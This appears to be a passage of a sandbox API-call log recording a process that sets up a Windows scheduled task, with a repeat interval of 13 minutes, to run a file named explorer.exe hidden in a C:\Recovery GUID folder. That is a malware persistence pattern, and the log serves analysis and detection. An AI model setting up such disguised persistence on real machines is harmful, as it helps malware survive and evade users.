lpSrch="|f|") returned 0x0 [0137.441] SetLastError (dwErrCode=0x490) [0137.441] lstrlenW (lpString="sc") returned 2 [0137.441] lstrlenW (lpString="sc") returned 2 [0137.442] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.442] lstrlenW (lpString="f") returned 1 [0137.442] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.442] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|sc|") returned 4 [0137.442] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.442] lstrlenW (lpString="|sc|") returned 4 [0137.442] lstrlenW (lpString="|f|") returned 3 [0137.442] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0137.442] SetLastError (dwErrCode=0x490) [0137.442] lstrlenW (lpString="mo") returned 2 [0137.442] lstrlenW (lpString="mo") returned 2 [0137.442] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.442] lstrlenW (lpString="f") returned 1 [0137.442] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.442] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|mo|") returned 4 [0137.442] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.442] lstrlenW (lpString="|mo|") returned 4 [0137.442] lstrlenW (lpString="|f|") returned 3 [0137.442] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0137.442] SetLastError (dwErrCode=0x490) [0137.442] lstrlenW (lpString="d") returned 1 [0137.442] lstrlenW (lpString="d") returned 1 [0137.442] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.442] lstrlenW (lpString="f") returned 1 [0137.442] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.442] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|d|") returned 3 [0137.442] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.443] lstrlenW (lpString="|d|") returned 3 [0137.443] lstrlenW (lpString="|f|") returned 3 [0137.443] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0137.443] SetLastError (dwErrCode=0x490) [0137.443] lstrlenW (lpString="m") returned 1 [0137.443] lstrlenW (lpString="m") returned 1 [0137.443] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.443] lstrlenW (lpString="f") returned 1 [0137.443] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.443] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|m|") returned 3 [0137.443] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.443] lstrlenW (lpString="|m|") returned 3 [0137.443] lstrlenW (lpString="|f|") returned 3 [0137.443] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0137.443] SetLastError (dwErrCode=0x490) [0137.443] lstrlenW (lpString="i") returned 1 [0137.443] lstrlenW (lpString="i") returned 1 [0137.443] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.443] lstrlenW (lpString="f") returned 1 [0137.443] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.443] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|i|") returned 3 [0137.443] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.443] lstrlenW (lpString="|i|") returned 3 [0137.443] lstrlenW (lpString="|f|") returned 3 [0137.443] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0137.443] SetLastError (dwErrCode=0x490) [0137.443] lstrlenW (lpString="tn") returned 2 [0137.443] lstrlenW (lpString="tn") returned 2 [0137.444] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.444] lstrlenW (lpString="f") returned 1 [0137.444] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.444] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.444] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.444] lstrlenW (lpString="|tn|") returned 4 [0137.444] lstrlenW (lpString="|f|") returned 3 [0137.444] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0137.444] SetLastError (dwErrCode=0x490) [0137.444] lstrlenW (lpString="tr") returned 2 [0137.444] lstrlenW (lpString="tr") returned 2 [0137.444] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.444] lstrlenW (lpString="f") returned 1 [0137.444] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.444] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tr|") returned 4 [0137.444] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.444] lstrlenW (lpString="|tr|") returned 4 [0137.444] lstrlenW (lpString="|f|") returned 3 [0137.444] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0137.444] SetLastError (dwErrCode=0x490) [0137.444] lstrlenW (lpString="st") returned 2 [0137.444] lstrlenW (lpString="st") returned 2 [0137.444] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.444] lstrlenW (lpString="f") returned 1 [0137.444] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.444] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|st|") returned 4 [0137.445] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.445] lstrlenW (lpString="|st|") returned 4 [0137.445] lstrlenW (lpString="|f|") returned 3 [0137.445] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0137.445] SetLastError (dwErrCode=0x490) [0137.445] lstrlenW (lpString="sd") returned 2 [0137.445] lstrlenW (lpString="sd") returned 2 [0137.445] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.445] lstrlenW (lpString="f") returned 1 [0137.445] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.445] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|sd|") returned 4 [0137.445] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.445] lstrlenW (lpString="|sd|") returned 4 [0137.445] lstrlenW (lpString="|f|") returned 3 [0137.445] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0137.445] SetLastError (dwErrCode=0x490) [0137.445] lstrlenW (lpString="ed") returned 2 [0137.445] lstrlenW (lpString="ed") returned 2 [0137.445] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.445] lstrlenW (lpString="f") returned 1 [0137.445] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.445] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|ed|") returned 4 [0137.445] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.445] lstrlenW (lpString="|ed|") returned 4 [0137.445] lstrlenW (lpString="|f|") returned 3 [0137.445] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0137.445] SetLastError (dwErrCode=0x490) [0137.446] lstrlenW (lpString="it") returned 2 [0137.446] lstrlenW (lpString="it") returned 2 [0137.446] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.446] lstrlenW (lpString="f") returned 1 [0137.446] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.446] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|it|") returned 4 [0137.446] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.446] lstrlenW (lpString="|it|") returned 4 [0137.446] lstrlenW (lpString="|f|") returned 3 [0137.446] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0137.446] SetLastError (dwErrCode=0x490) [0137.446] lstrlenW (lpString="et") returned 2 [0137.446] lstrlenW (lpString="et") returned 2 [0137.446] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.446] lstrlenW (lpString="f") returned 1 [0137.446] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.446] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|et|") returned 4 [0137.446] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.446] lstrlenW (lpString="|et|") returned 4 [0137.446] lstrlenW (lpString="|f|") returned 3 [0137.446] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0137.446] SetLastError (dwErrCode=0x490) [0137.446] lstrlenW (lpString="k") returned 1 [0137.446] lstrlenW (lpString="k") returned 1 [0137.446] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.446] lstrlenW (lpString="f") returned 1 [0137.446] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.446] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|k|") returned 3 [0137.447] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.447] lstrlenW (lpString="|k|") returned 3 [0137.447] lstrlenW (lpString="|f|") returned 3 [0137.447] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0137.447] SetLastError (dwErrCode=0x490) [0137.447] lstrlenW (lpString="du") returned 2 [0137.447] lstrlenW (lpString="du") returned 2 [0137.447] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.447] lstrlenW (lpString="f") returned 1 [0137.447] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.447] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|du|") returned 4 [0137.447] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.447] lstrlenW (lpString="|du|") returned 4 [0137.447] lstrlenW (lpString="|f|") returned 3 [0137.447] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0137.447] SetLastError (dwErrCode=0x490) [0137.447] lstrlenW (lpString="ri") returned 2 [0137.447] lstrlenW (lpString="ri") returned 2 [0137.447] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.447] lstrlenW (lpString="f") returned 1 [0137.447] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.447] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|ri|") returned 4 [0137.447] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.447] lstrlenW (lpString="|ri|") returned 4 [0137.447] lstrlenW (lpString="|f|") returned 3 [0137.447] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0137.447] SetLastError (dwErrCode=0x490) [0137.447] lstrlenW (lpString="z") returned 1 [0137.447] lstrlenW (lpString="z") returned 1 [0137.448] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.448] lstrlenW (lpString="f") returned 1 [0137.448] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.448] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|z|") returned 3 [0137.448] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.448] lstrlenW (lpString="|z|") returned 3 [0137.448] lstrlenW (lpString="|f|") returned 3 [0137.448] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0137.448] SetLastError (dwErrCode=0x490) [0137.448] lstrlenW (lpString="f") returned 1 [0137.448] lstrlenW (lpString="f") returned 1 [0137.448] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.448] lstrlenW (lpString="f") returned 1 [0137.448] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.448] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.448] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|f|") returned 3 [0137.448] lstrlenW (lpString="|f|") returned 3 [0137.448] lstrlenW (lpString="|f|") returned 3 [0137.448] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0137.448] SetLastError (dwErrCode=0x0) [0137.448] SetLastError (dwErrCode=0x0) [0137.448] GetProcessHeap () returned 0x250000 [0137.448] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd30 [0137.448] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.448] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0137.449] lstrlenW (lpString="MINUTE") returned 6 [0137.449] GetProcessHeap () returned 0x250000 [0137.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d580 [0137.449] GetThreadLocale () returned 0x409 [0137.449] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0137.449] SetLastError (dwErrCode=0x0) [0137.449] GetProcessHeap () returned 0x250000 [0137.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x1fc) returned 0x26c390 [0137.449] GetProcessHeap () returned 0x250000 [0137.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd00 [0137.449] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.449] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0137.449] lstrlenW (lpString="First") returned 5 [0137.449] GetProcessHeap () returned 0x250000 [0137.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xc) returned 0x26d5a0 [0137.449] GetProcessHeap () returned 0x250000 [0137.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ccd0 [0137.449] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.449] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0137.449] lstrlenW (lpString="Second") returned 6 [0137.449] GetProcessHeap () returned 0x250000 [0137.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d5c0 [0137.449] GetProcessHeap () returned 0x250000 [0137.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cca0 [0137.449] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.449] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0137.449] lstrlenW (lpString="Third") returned 5 [0137.449] GetProcessHeap () returned 0x250000 [0137.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xc) returned 0x26d5e0 [0137.450] GetProcessHeap () returned 0x250000 [0137.450] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc70 [0137.450] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.450] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0137.450] lstrlenW (lpString="Fourth") returned 6 [0137.450] GetProcessHeap () returned 0x250000 [0137.450] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d600 [0137.450] GetProcessHeap () returned 0x250000 [0137.450] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc40 [0137.450] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.450] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0137.450] lstrlenW (lpString="Last") returned 4 [0137.450] GetProcessHeap () returned 0x250000 [0137.450] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xa) returned 0x26d620 [0137.450] lstrlenW (lpString="13") returned 2 [0137.450] _wtol (_String="13") returned 13 [0137.450] GetProcessHeap () returned 0x250000 [0137.450] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc10 [0137.450] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.450] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0137.450] lstrlenW (lpString="First") returned 5 [0137.450] GetProcessHeap () returned 0x250000 [0137.450] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xc) returned 0x26d640 [0137.450] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.450] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0137.450] lstrlenW (lpString="Second") returned 6 [0137.450] GetProcessHeap () returned 0x250000 [0137.450] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d660 [0137.451] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.451] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0137.451] lstrlenW (lpString="Third") returned 5 [0137.451] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.451] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0137.451] lstrlenW (lpString="Fourth") returned 6 [0137.451] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.451] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0137.451] lstrlenW (lpString="Last") returned 4 [0137.451] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1fc4a0, cchData=128 | out: lpLCData="0") returned 2 [0137.451] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.451] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0137.451] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0137.451] GetProcessHeap () returned 0x250000 [0137.451] GetProcessHeap () returned 0x250000 [0137.451] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5a0) returned 1 [0137.451] GetProcessHeap () returned 0x250000 [0137.451] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d5a0) returned 0xc [0137.451] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5a0 | out: hHeap=0x250000) returned 1 [0137.451] GetProcessHeap () returned 0x250000 [0137.451] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x16) returned 0x26d5a0 [0137.451] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1fc4c0, cchData=128 | out: lpLCData="0") returned 2 [0137.451] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.451] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0137.452] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0137.452] GetProcessHeap () returned 0x250000 [0137.452] GetProcessHeap () returned 0x250000 [0137.452] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5c0) returned 1 [0137.452] GetProcessHeap () returned 0x250000 [0137.452] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d5c0) returned 0xe [0137.452] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5c0 | out: hHeap=0x250000) returned 1 [0137.452] GetProcessHeap () returned 0x250000 [0137.452] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x16) returned 0x26d5c0 [0137.452] GetLocalTime (in: lpSystemTime=0x1fc6f0 | out: lpSystemTime=0x1fc6f0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x1, wMilliseconds=0xd7)) [0137.452] lstrlenW (lpString="") returned 0 [0137.452] GetLocalTime (in: lpSystemTime=0x1fcfa8 | out: lpSystemTime=0x1fcfa8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x1, wMilliseconds=0xd7)) [0137.452] lstrlenW (lpString="") returned 0 [0137.452] lstrlenW (lpString="") returned 0 [0137.452] lstrlenW (lpString="") returned 0 [0137.452] lstrlenW (lpString="") returned 0 [0137.452] lstrlenW (lpString="13") returned 2 [0137.452] _wtol (_String="13") returned 13 [0137.452] lstrlenW (lpString="") returned 0 [0137.452] lstrlenW (lpString="") returned 0 [0137.452] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0137.480] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0137.596] CoCreateInstance (in: rclsid=0xffeb1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffeb1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1fcd70 | out: ppv=0x1fcd70*=0x467aa0) returned 0x0 [0137.607] TaskScheduler:ITaskService:Connect (This=0x467aa0, serverName=0x1fce50*(varType=0x8, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1fce10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1fce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1fcdf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0137.666] TaskScheduler:IUnknown:AddRef (This=0x467aa0) returned 0x2 [0137.666] TaskScheduler:ITaskService:GetFolder (in: This=0x467aa0, Path=0x0, ppFolder=0x1fcf08 | out: ppFolder=0x1fcf08*=0x467cd0) returned 0x0 [0137.670] TaskScheduler:ITaskService:NewTask (in: This=0x467aa0, flags=0x0, ppDefinition=0x1fcf00 | out: ppDefinition=0x1fcf00*=0x467d20) returned 0x0 [0137.670] ITaskDefinition:get_Actions (in: This=0x467d20, ppActions=0x1fce80 | out: ppActions=0x1fce80*=0x467de0) returned 0x0 [0137.670] IActionCollection:Create (in: This=0x467de0, Type=0, ppAction=0x1fcea0 | out: ppAction=0x1fcea0*=0x466170) returned 0x0 [0137.671] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.671] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.671] lstrlenW (lpString=" ") returned 1 [0137.671] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0137.671] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0137.672] StrChrW (lpStart=" 